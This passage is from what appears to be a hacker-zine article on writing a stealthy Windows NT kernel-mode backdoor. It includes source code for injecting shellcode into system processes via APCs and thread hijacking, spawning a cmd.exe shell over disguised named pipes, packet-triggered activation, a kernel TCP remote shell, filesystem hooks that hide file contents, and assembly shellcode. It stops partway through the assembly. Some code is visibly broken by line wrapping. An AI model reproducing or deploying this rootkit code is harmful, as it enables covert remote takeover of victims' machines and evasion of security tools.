Things are not as easy as [4] makes them sound. Creating a full-fledged win32-process requires it's registration in the CSRSS subsystem. This is accomplished by using `CsrClientCallServer()`, which receives all necessary information about the process (handles, TID, PID, flags). The functions calls `ZwRequestWaitReplyPort`, which receives a handle of a previously opened port for connection with CSRSS.

This port is not open in the SYSTEM process context. Opening it never succeeded (`ZwConnectPort` returned `STATUS_PORT_CONNECTION_REFUSED`). Playing with `SECURITY_QUALITY_OF_SERVICE` didn't help. While disassembling `ntdll.dll` I saw that `ZwConnectPort` calls were preceded by `ZwCreateSection`. But there was no time and no desire to play with sections. Here is the code that didn't work:

```
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
    CSRMSG                csrmsg;
    HANDLE                hCurProcess;
    HANDLE                handleIndex;
    PVOID                p;

    _asm int 3;

    UNICODE_STRING        PortName;
    RtlInitUnicodeString(&PortName, L"\\Windows\\ApiPort");
    static SECURITY_QUALITY_OF_SERVICE QoS =
        {sizeof(QoS), SecurityAnonymous, 0, 0};
    /*static SECURITY_QUALITY_OF_SERVICE QoS =
        {0x77DC0260,
         (_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/
    DWORD ret=ZwConnectPort(&handleIndex, &PortName, &QoS, NULL,
                           NULL, NULL, NULL, NULL);

    if (!ret) {
        RtlZeroMemory(&csrmsg, sizeof(CSRMSG));

        csrmsg.ProcessInformation.hProcess=hProcess;
        csrmsg.ProcessInformation.hThread=hThread;
        csrmsg.ProcessInformation.dwProcessId=pid;
        csrmsg.ProcessInformation.dwThreadId=tid;

        csrmsg.PortMessage.MessageSize=0x4c;
        csrmsg.PortMessage.DataSize=0x34;

        csrmsg.CsrssMessage.Opcode=0x10000;
    }
}
```

```

        ZwRequestWaitReplyPort(handleIndex, (PORT_MESSAGE*)&csrmsg,
                                (PORT_MESSAGE*)&csrmsg);
    }
}

```

The solution to the problem was obvious; Switch context to one in which the port is open, e.g. to the context of any win32-process. I inserted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss, and KeDetachProcess afterwards. The role of the HelperProcess was taken by calc.exe.

When I tried using KeAttachProcess that way I failed though: The context was switched (visible using the proc command in SoftICE), but CsrClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows what was happening inside CSRSS.

When trying to frame the whole process creation function into KeAttachProcess/KeDetachProcess led to the following error when calling ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ...".

A different way to execute my code in the context of an arbitrary process is APC. The APC may be kmode or user-mode. As long as only kmode APC may overcome nonalertable wait state, all code for process creation must be done in kernel mode. Nebbet's code normally works at

```

IRQL == APC_LEVEL
Code execution in the context of a given win32-process by means of APC is
implemented in the StartShell() function, in file ShellAPC.cpp.

```

Interaction with the process
=====

Starting a process isn't all. The Backdoor still needs to communicate with it: It is necessary to redirect it's stdin/stdout/stderr to our driver. We could do this like most "driver+app"-systems: Create a device that is visible from user-mode, open it using ZwOpenFile and pass the handle to the starting process (stdin/stdout/stderr). But a named device is not stealthy, even if we automatically create a random names. This is why I have chosen to use named pipes instead.

Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here %08x is random 8-digit numbers) for emulation of anonymous pipes. If we create one more such pipe, nobody will notice. Usually, one uses 2 anonymous pipes r redirecting I/O of a console application in Win32, but when using a named pipe one will be sufficient as it is bi-directional. The driver must create a bi-directional named pipe, and cmd.exe must use it's handle as stdin/stdout/stderr.

The handle can be opened in both kmode and user-mode. The final version uses the first variant, but I have also experimented with the second variant -- being able to implement different variants may help evade anti-viruses. Starting a process with redirected I/O has been completely implemented in kernel mode in the file NebbetCreateProcess.cpp.

There are two main differences between my and Nebbet's code: The functions that are not exported from ntoskrnl.exe but from ntdll, are dynamically imported (see NtdllDynamicLoader.cpp). The handle to the named pipe is opened with ZwOpenFile() and passed to the starting process with ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.

For opening the named pipe from user mode I inject code into a starting process. I attached the patch (NebbetCreateProcess.diff) for educational purposes. It adds a code snippet to a starting process. The

patch writes code (generated by a C++ compiler) to a process's stack. For independence that code is a function which accepts a pointer to a structure containing all the necessary data (API addresses etc) as parameter. This structure and a pointer to it are written to the stack together with the code of the function itself. ESP of the starting thread is set 4 bytes below the pointer to the parameters of the function, and EIP to it's entry point. Once the injected code is done executing, it issues a CALL back to the original entry point. This example can be modified to be yet another way of injecting code into a working userland process from kernel mode.

---[4.2 - Activation and communication with the remote client

If a listening socket is permanently open (and visible to netstat -an) it is likely to be discovered. Even if one hides the socket from netstat is insufficient as a simple portscan could uncover the port. To remain stealthy a backdoor must not have any open ports visible locally or remotely. It is necessary to use a special packet, which on the one hand must be unambiguously identified by the backdoor as activation signal, yet at the same time must not be so suspicious as to trigger alerts or be filtered by firewalls. The activation signal could e.g. be a packet containing a set of packets at any place (header or data) -- all characteristics of the packet (protocol, port etc) should be ignored. This allows for maximum flexibility to avoid aggressive packet filters.

Obviously, we have to implement some sort of sniffer in order to detect such a special packet. In practice, we have several choices on how to implement the sniffer:

- 1) NDIS protocol driver (advantage: possibility not only to receive packets, but also to send - thus making covert channel for communication with remote client possible; disadvantage: difficulties with supporting all types of network devices) - applied in ntrootkit;
- 2) use service provided by IpFilterDriver on w2k and higher (advantages: simple implementation and complete independence from physical layer; disadvantage: receive only);
- 3) setup filter on 1 of network drivers, through which packets pass through (see [5]);
- 4) direct appeal to network drivers by some other means for receive and send packets (advantage: can do everything; disadvantage: unexplored area).

I have chosen variant 2 due to it's simplicity and convenience for both described variants of starting a shell. IpFilterDriver used only for activation, further connection is made via TCP by means of TDI.

An example of the usage of IpFilterDriver can be seen in Filtering.cpp and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't yet loaded. Then it calls SetupFiltering, which sets a filter with IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on each IP packet. If a keyword is detected StartShellEvent is set and causes a shell to be started.

The variant using shellcode in an existing process works with the network in user-mode, thus we do not need to describe anything in detail.

A Kernel-mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe is started from a driver with redirected I/O, the link is maintained by the driver. I took the tcpecho example as base for the communication module in order not to waste time coding a TDI-client from scratch.

DriverEntry() initialises TDI, creates a listening socket and an unnamed device for IoQueueWorkItem.

For each connection an instance of the Session class is created. In its OnConnect handler a sequence of operations for creating a process. process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's impossible to do all necessary operations directly in it. It's even impossible to start a thread because PsCreateSystemThread must be called only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any further operations accomplished in WorkItem handler (ShellStarter function) at PASSIVE_LEVEL.

ShellStarter calls StartShell() and creates a worker thread (DataPumpThread) and 2 events for notifying it about arriving packets and named pipe I/O completion. Interaction between the WorkItem/thread and Session class was built with taking a possible sudden disconnect and freeing Session into account: synchronisation is accomplished by disabling interrupts (it's equivalent of raise IRQL to highest) and by means of DriverStudio classes (SpinLock inside). The Thread uses a copy of some data that must be available even after instance of Session was deleted.

Initially, DataPumpThread starts one asynchronous read operation (ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about its completion. The other event hPipeEvents[0] notifies about data arrival from the network. After that ZwWaitForMultipleObjects executed in a loop waits for one of these events. In dependence of what event was signaled, the thread does a read from the named pipe and sends data to client, or does a read read from FIFO and writes to pipe. If the Terminating flag is set, thread closes all handles, terminates the cmd.exe process, and then terminates itself. Data arrival is signaled by the hPipeEvents[0] event in Session::OnReceive and Session::OnReceiveComplete handlers. It also used in conjunction with the Terminating flag to notify the thread about termination.

Data received from the network is buffered in pWBytePipe FIFO. DataPumpThread reads data from the FIFO to temporary buffers which are allocated for each I/O operation and writes data asynchronously to the pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallbackWriteComplete handler.

Data transfers from the pipe to the network are also accomplished through temporary buffers that are allocated before ZwReadFile and freed in Session::OnSendComplete.

Paths of data streams and temporary buffers handling algorithm:

NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer

send_buf -(send)-> Network -> OnSendComplete{delete send_buf}

Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary

buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
ApcCallbackWriteComplete{delete rcv_buf}

In Session::OnReceive handler data is written to the FIFO and the DataPumpThread is notified about its arrival. If the transport has more data available than indicated another buffer is allocated to read the rest. When the transport is done - asynchronously - OnReceiveComplete() handler is called, which does the same as OnReceive.

----[4.3 - Stealth on disk

I've implemented simple demo module (file Intercept.cpp) which hooks dispatch functions of a given filesystem driver to hide the first N bytes of a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat"). There is only 2 FSDs that may be necessary to hook: Fastfat and Ntfs, because NT can boot from these filesystems.

Intercept() replaces some driver dispatch functions (pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).

When hooked driver handles IRPs and FastIo calls the corresponding hook functions modifies file size and current file offset. Thus all user-mode programs see file N bytes smaller than original, containing bytes N to last. It allows to implement trick described in part 3.

--[5 - Conclusion

In this article I compared 3 existing Kernel-Mode backdoors for Windows NT from a programmers point of view, presented some ideas on making a backdoor stealthier as well as my thorny path of writing my own Kernel-Mode backdoor.

What we did not describe was a method of hiding open sockets and TCP connections from utilities such as netstat and fport. Netstat uses SnmpUtilOidCopy(), and fport talks directly with drivers (\Device\Udp and \Device\Tcp). To hide something from these and all similar tools, it's necessary to hook aforementioned drivers with one of methods mentioned in section "Stealth on disk, in registry and in memory". I did not explore that issue yet. Probably, its consideration deserves a separate article. Advice for those who decided to move this direction: begin with the study of IpLog sources [5].

--[6 - Epilogue

When/if this article will be published in Phrack, the article itself (probably improved and supplemented), its Russian original, and full code of all used examples will be published at our site <http://www.nteam.ru>

--[7 - List of used sources

1. <http://rootkit.com>
2. "LKM-attack on WinNT/Win2k"
<http://he4dev.el.bmstu.ru/He4ProjectRepository/HookSysCall/>
3. "Windows Root Kits a Stealthy Threat"
<http://www.securityfocus.com/news/2879>
4. Garry Nebbet. Windows NT/2000 native API reference.
5. "IP logger for WinNT/Win2k"
<http://195.19.33.68/He4ProjectRepository/IpLog/>

--[8 - Files

----[8.1 - Shell.CPP

```
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"

#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
```



```

const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;

extern "C" char shellcode[];
extern "C" const CLID_addr;
extern "C" int const sizeof_shellcode;

namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}

BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
    NT::UNICODE_STRING ProcessName;
    NT::RtlInitUnicodeString(&ProcessName,process);
    ULONG n=0xFFFF;
    PULONG q =
        (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
    while (NT::ZwQuerySystemInformation(
        NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))
    {
        NT::ExFreePool(q);
        n*=2;
        q = (PULONG)NT::ExAllocatePool
            (NT::NonPagedPool,n*sizeof(*q));
    }

    ULONG MajorVersion;
    NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

    NT::PSYSTEM_PROCESSES p
        = NT::PSYSTEM_PROCESSES(q);
    BOOL found=0;
    char** pp=(char**)&p;
    do
    {
        if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
            (&p->ProcessName,&ProcessName,TRUE)))
        {
            if (MajorVersion<=4)
                *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Thre
ads[0].ClientId;
            else *ClientId = p->Threads[0].ClientId;
            found=1;
            break;
        }
        if (!(p->NextEntryDelta)) break;
    }

```

```

        *pp+=p->NextEntryDelta;
    } while(1);

    NT::ExFreePool(q);
    return found;
}

VOID StartShell()
{
    //Search ntdll.dll in memory
    PVOID pNTDLL=FindNT();
    //Dynamicaly link to functions not exported by ntoskrnl,
    //but exported by ntdll.dll
    DYNAMIC_LOAD(ZwWriteVirtualMemory)
    DYNAMIC_LOAD(ZwProtectVirtualMemory)
    DYNAMIC_LOAD(ZwResumeThread)
    DYNAMIC_LOAD(ZwCreateThread)
    HANDLE hProcess=0,hThread;
    //Debug breakpoint
    dbgbkpt;
    NT::CLIENT_ID clid;
    //Code must be embedded into thread, which not in nonalertable wait state.

    //Such thread is in process services.exe, let's find it
    if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
        return;};
    NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_C
ASE_INSENSITIVE};
    //Open process - get it's descriptor
    NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
    if (!hProcess) {dbgbkpt;
        return;};
    /*NT::PROCESS_BASIC_INFORMATION pi;
    NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi
, sizeof(pi), NULL);*/
    ULONG n = sizeof_shellcode;
    PVOID p = 0;
    PVOID EntryPoint;

    //Create code segment - allocate memory into process context
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!p) {dbgbkpt;
        return;};

    /*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
    //Write process and thread ID into shellcode, it will be needed for
    //further operations with that thread
    *((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
    //Write shellcode to allocated memory
    ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
    //Entry point is at the beginning of shellcode
    EntryPoint = p;

    //Create stack segment
    NT::USER_STACK stack = {0};
    n = StackReserve;
    NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
        MEM_RESERVE, PAGE_READWRITE);
    if (!stack.ExpandableStackBottom) {dbgbkpt;
        return;};
    stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom
        + StackReserve;

```

```

    stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
                                - StackCommit;
    n = StackCommit + PAGE_SIZE;
    p = PCHAR(stack.ExpandableStackBase) - n;
    //Create guard page
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_READWRITE);

    ULONG x; n = PAGE_SIZE;
    ZwProtectVirtualMemory(hProcess, &p, &n,
                            PAGE_READWRITE | PAGE_GUARD, &x);
    //Initialize new thread context
    //similar to it's initialization by system
    NT::CONTEXT context = {CONTEXT_FULL};
    context.SegGs = 0;
    context.SegFs = 0x38;
    context.SegEs = 0x20;
    context.SegDs = 0x20;
    context.SegSs = 0x20;
    context.SegCs = 0x18;
    context.EFlags = 0x3000;
    context.Esp = ULONG(stack.ExpandableStackBase) - 4;
    context.Eip = ULONG(EntryPoint);
    NT::CLIENT_ID cid;

    //Create and start thread
    ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr,
                  hProcess, &cid, &context, &stack, TRUE);

    //Here i tried to make thread alertable. The try failed.
    /*HANDLE hTargetThread;
    NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid);
    PVOID ThreadObj;
    NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT
::KernelMode, &ThreadObj, NULL);
    *((unsigned char *)ThreadObj+0x4a)=1;*/

    ZwResumeThread(hThread, 0);
}

```

```

VOID ShellStarter(VOID* StartShellEvent)
{
    do if (NT::KeWaitForSingleObject(StartShellEvent, NT::Executive, NT::Kerne
lMode, FALSE, NULL) == STATUS_SUCCESS)
        if (Terminating) NT::PsTerminateSystemThread(0); else StartShell
();
    while (1);
}

```

----[8.2 - ShellAPC.cpp

```

#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"

```

```

//Debug macro
#ifdef (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif

```

```

//Flag guarantees that thread certainly will execute APC regardless of
//it's state
#define SPECIAL_KERNEL_MODE_APC 2

namespace NT
{
    extern "C"
    {
        // Definitions for Windows NT-supplied APC routines.
        // These are exported in the import libraries,
        // but are not in NTDDK.H
        void KeInitializeApc(PKAPC Apc,
                            PKTHREAD Thread,
                            CCHAR ApcStateIndex,
                            PKKERNEL_ROUTINE KernelRoutine,
                            PKRUNDOWN_ROUTINE RundownRoutine,
                            PKNORMAL_ROUTINE NormalRoutine,
                            KPROCESSOR_MODE ApcMode,
                            PVOID NormalContext);

        void KeInsertQueueApc(PKAPC Apc,
                              PVOID SystemArgument1,
                              PVOID SystemArgument2,
                              UCHAR unknown);
    }
}

//Variant of structure SYSTEM_PROCESSES for NT4
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}

//Function searches process with given name.
//Writes PID and TID of first thread to ClientId
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
    NT::UNICODE_STRING ProcessName;
    NT::RtlInitUnicodeString(&ProcessName, process);
    ULONG n=0xFFFF;
    //Allocate some memory
    PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool, n*sizeof(*q));
    //Request information about processes and threads
    //until it will fit in allocated memory.
    while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation,
    ,
        q, n * sizeof *q, 0))
    {

```

```

        //If it didn't fit - free allocated memory...
        NT::ExFreePool(q);
        n*=2;
        //... and allocate twice bigger
        q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
    }

    ULONG MajorVersion;
    //Request OS version
    NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

    //Copy pointer to SYSTEM_PROCESSES.
    //copy will be modified indirectly
    NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q);
    //"process NOT found" - yet
    BOOL found=0;
    //Pointer to p will be used to indirect modify p.
    //This trick is needed to force compiler to perform arithmetic operation
    s with p
    //in bytes, not in sizeof SYSTEM_PROCESSES units
    char** pp=(char**)&p;
    //Process search cycle
    do
    {
        //If process have nonzero number of threads (0 threads is abnormal, but possible),
        //has name, that matches looked for...
        if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE)))
        {
            //... then copy data about it to variable pointed by ClientId.
            //Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT
            if (MajorVersion<=4)
                *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
            else *ClientId = p->Threads[0].ClientId;
            //Set flag "process found"
            found=1;
            //Stop search
            break;
        }
        //No more processes - stop
        if (!p->NextEntryDelta) break;
        //Move to next process
        *pp+=p->NextEntryDelta;
    } while(1);
    //Free memory
    NT::ExFreePool(q);
    //Return "is the process found" flag
    return found;
}

//Generates named pipe name similar to used by API-function CreatePipe
void MakePipeName(NT::PUNICODE_STRING KernelPipeName)
{
    //For generation of unrepeating numbers
    static unsigned long PipeIdx;
    //pseudorandom number
    ULONG rnd;
    //name template
    wchar_t *KPNS = L"\\Device\\Named

```

```

Pipe\\Win32Pipes.%08x.%08x";
    //...and it's length in bytes
    ULONG KPNL = wcslen(KPNS) + (8-4) * 2
+1;

    //String buffer: allocated here, freed by caller
    wchar_t *buf;

    //Request system timer: KeQueryInterruptTime is here not for exact
    //counting out time, but for generation of pseudorandom numbers
    rnd = (ULONG)NT::KeQueryInterruptTime();
    //Allocate memory for string
    buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool, (KPNL) * 2);
    //Generate name: substitute numbers o template
    _snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd);
    //Write buffer address and string length to KernelPipeName (initialisati
on)
    NT::RtlInitUnicodeString(KernelPipeName, buf);
}

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName,
IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess);
extern NTSTATUS BuildAllowingSD(PVOID *sd);

struct APC_PARAMETERS {
    NT::UNICODE_STRING KernelPipeName;
    ULONG ChildPID;
};

//APC handler, runs in context of given thread
void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine,
PVOID NormalContext, PVOID SystemArgument1,
PVOID SystemArgument2)
{
    UNREFERENCED_PARAMETER(NormalRoutine);
    UNREFERENCED_PARAMETER(NormalContext);

    dbgbkpt;
    //Start process with redirected I/O, SystemArgument1 is named pipe name
    (*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemR
oot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName)
);

    //Free memory occupied by APC
    NT::ExFreePool(Apc);

    //Signal about APC processing completion
    NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE);
    return;
}

//Function starts shell process (cmd.exe) with redirected I/O.
//Returns bidirectional named pipe handle in phPipe
extern "C" ULONG StartShell(PHANDLE phPipe)
{
    //__asm int 3;
    HANDLE hProcess=0, hThread;
    APC_PARAMETERS ApcParameters;
    //Event of APC processing completion
    NT::KEVENT ApcCompletionEvent;

    //dbgbkpt;
    NT::CLIENT_ID clid;
    //Look for process to launch shell from it's context.
    //That process must be always present in system

```

```

        if(!FindProcess(*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
            return FALSE;};
    NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_C
ASE_INSENSITIVE};
    //Get process handle from it's PID
    NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
    if (!hProcess) {dbgbkpt;
        return FALSE;};
    //Get thread handle from it's TID
    NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
    NT::PKTHREAD ThreadObj;
    //Get pointer to thread object from it's handle
    NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::Kern
elMode, (PVOID*)&ThreadObj, NULL);

    NT::PKAPC Apc;
    ApcParameters.ChildPID=0;

    //Allocate memory for APC
    Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC));
    //Initialize APC
    dbgbkpt;
    NT::KeInitializeApc(Apc,
ThreadObj,
SPECIAL_KERNEL_MODE_APC,
(NT::PKKERNEL_ROUTINE)&KMApcCallback1,      // kernel mode routine
0, // rundown routine
0,      // user-mode routine
NT::KernelMode,
    0 //context
    );
    //Initialize APC processing completion event
    NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE
);

    //Generate random unique named pipe name
    MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);
    PVOID sd;
    //Access will be read-only without it.
    //There's a weak place in the view of security.
    if (BuildAlowingSD(&sd)) return FALSE;
    if (myCreatePipe(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ |
GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE;
    NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0);
    NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMo
de,FALSE,NULL);
    NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName);
    NT::ZwClose(hProcess);
    NT::ZwClose(hThread);
    return ApcParameters.ChildPID;
}

```

----[8.3 - dummy4.asm

```

;Exported symbols - reference points for automated tool
;which generates C code of hex-encoded string
PUBLIC          Start
PUBLIC          EndFile
PUBLIC          CLID_here
;Debug flag - int 3 in the code
DEBUG          EQU          1
;Falg "accept more then 1 connection"
MULTIPLE_CONNECT EQU          1

```

```

;Falg "bind to next port, if current port busy"
RETRY_BIND            EQU            1

.486                  ; processor type
.model flat, stdcall  ; model of memory
option casemap: none  ; disable case sensitivity

; includes for file
include Imghdr.inc
include w32.inc
include WSOCK2.INC

; structure initializing
;-----
sSEH STRUCT
    OrgEsp            dd ?
    SaveEip           dd ?
sSEH ENDS

CLIENT_ID STRUCT
    UniqueProcess     dd ?
    UniqueThread      dd ?
CLIENT_ID ENDS

OBJECT_ATTRIBUTES STRUCT
    Length             dd ?
    RootDirectory      dd ?
    ObjectName         dd ?
    Attributes         dd ?
    SecurityDescriptor dd ?
    SecurityQualityOfService dd ?
OBJECT_ATTRIBUTES ENDS

;-----
.code
;-----
MAX_API_STRING_LENGTH equ 150
ALLOCATION_GRANULARITY EQU 10000H
;-----
new_section:
;Macro replaces lea, correcting address for position independency
laa      MACRO      reg, operand
lea      reg, operand
add      reg, FixupDelta
ENDM

;The same, but not uses FixupDelta (autonomous)
laaa     MACRO      reg, operand
local    @@delta
call     $+5
@@delta:
sub      DWORD PTR [esp], OFFSET @@delta
lea      reg, operand
add      reg, DWORD PTR [esp]
add      esp, 4
ENDM

main proc
Start:
IFDEF DEBUG
int      3
ENDIF

```



```

;Code for evaluating self address
delta:
pop          ebx
sub          ebx,OFFSET delta
;Allocate place for variables in stack
enter        SizeOfLocals,0
;Save difference between load address and ImageBase
mov          FixupDelta,ebx

;Tables, where to write addresses of exported functions
KERNEL32FunctionsTable      EQU          _CreateThread
NTDLLFunctionsTable         EQU          _ZwOpenThread
WS2_32FunctionsTable        EQU          _WSASocket

;Local variables
local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_Set
ThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_
Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONT
EXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofa
ddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATIO
N,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_cl
osesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals
    assume fs : nothing
    ;---- get ImageBase of kernel32.dll ----
    lea      ebx,KERNEL32FunctionsTable
    push     ebx
    laa      ebx,KERNEL32StringTable
    push     ebx
    push     0FFFF0000h
    call     GetDllBaseAndLoadFunctions

    lea      ebx,NTDLLFunctionsTable
    push     ebx
    laa      ebx,NTDLLStringTable
    push     ebx
    push     0FFFF0000h
    call     GetDllBaseAndLoadFunctions

    laa      edi, CLID_here
    push     edi
    assume edi:ptr OBJECT_ATTRIBUTES
    lea      edi,attr
    cld
    mov      ecx,SIZE OBJECT_ATTRIBUTES
    xor      eax,eax
    rep stosb
    lea      edi,attr
    mov[edi].Length,SIZE OBJECT_ATTRIBUTES
    push     edi
    push     THREAD_ALL_ACCESS
    lea      edi,hThread
    push     edi
    IFDEF DEBUG
    int      3
    ENDIF
    call     _ZwOpenThread

    lea      edi, cxt
    assume edi:ptr CONTEXT
    mov [edi].cx_ContextFlags,CONTEXT_FULL

    xor      ebx,ebx
    mov      eax,hThread

```

```

;there is a thread handle in EAX
;push at once for call many following functions
push edi          ; _SetThreadContext
push eax
;-)
push eax          ; _ZwAlertThread
;-)
push edi          ; _SetThreadContext
push eax
;-)
push edi          ; _GetThreadContext
push eax
call _GetThreadContext

mov     eax,[edi].cx_Eip
mov     save_eip,eax
laa     eax, new_thread
mov     [edi].cx_Eip, eax

;Self-modify code
;Save EBP to copy current stack in each new thread
laa     eax, ebp_value_here
mov     [eax],ebp
laa     eax, ebp1_value_here
mov     [eax],ebp
;Write addres of flag, that informs of "create main thread" completion
laa     eax, flag_addr_here
lea     ebx,flag
mov     [eax],ebx
mov     flag,0

call _SetThreadContext
;If thread in wait state, it will not run until it (wait) ends or alerted
call _ZwAlertThread
;not works if wait is nonalertable

;Wait for main thread creation
check_flag:
call    _Sleep,10
cmp     flag,1
jnz     check_flag

;Restore EIP of interrupted thread
mov     eax, save_eip
mov     [edi].cx_Eip, eax
call _SetThreadContext

push     0
call _ExitThread

; --- This code executes in interrupted thread and creates main thread ---
new_thread:
IFDEF DEBUG
int 3
ENDIF
ebp1_value_here_2:
mov     ebp,0
lab_posle_ebp1_value:
ORG ebp1_value_here_2+1
ebp1_value_here:
ORG lab_posle_ebp1_value-main
xor     eax,eax
push     eax

```

```

push        eax
push        eax
laa         ebx, remote_shell
push        ebx
push        eax
push        eax
call _CreateThread
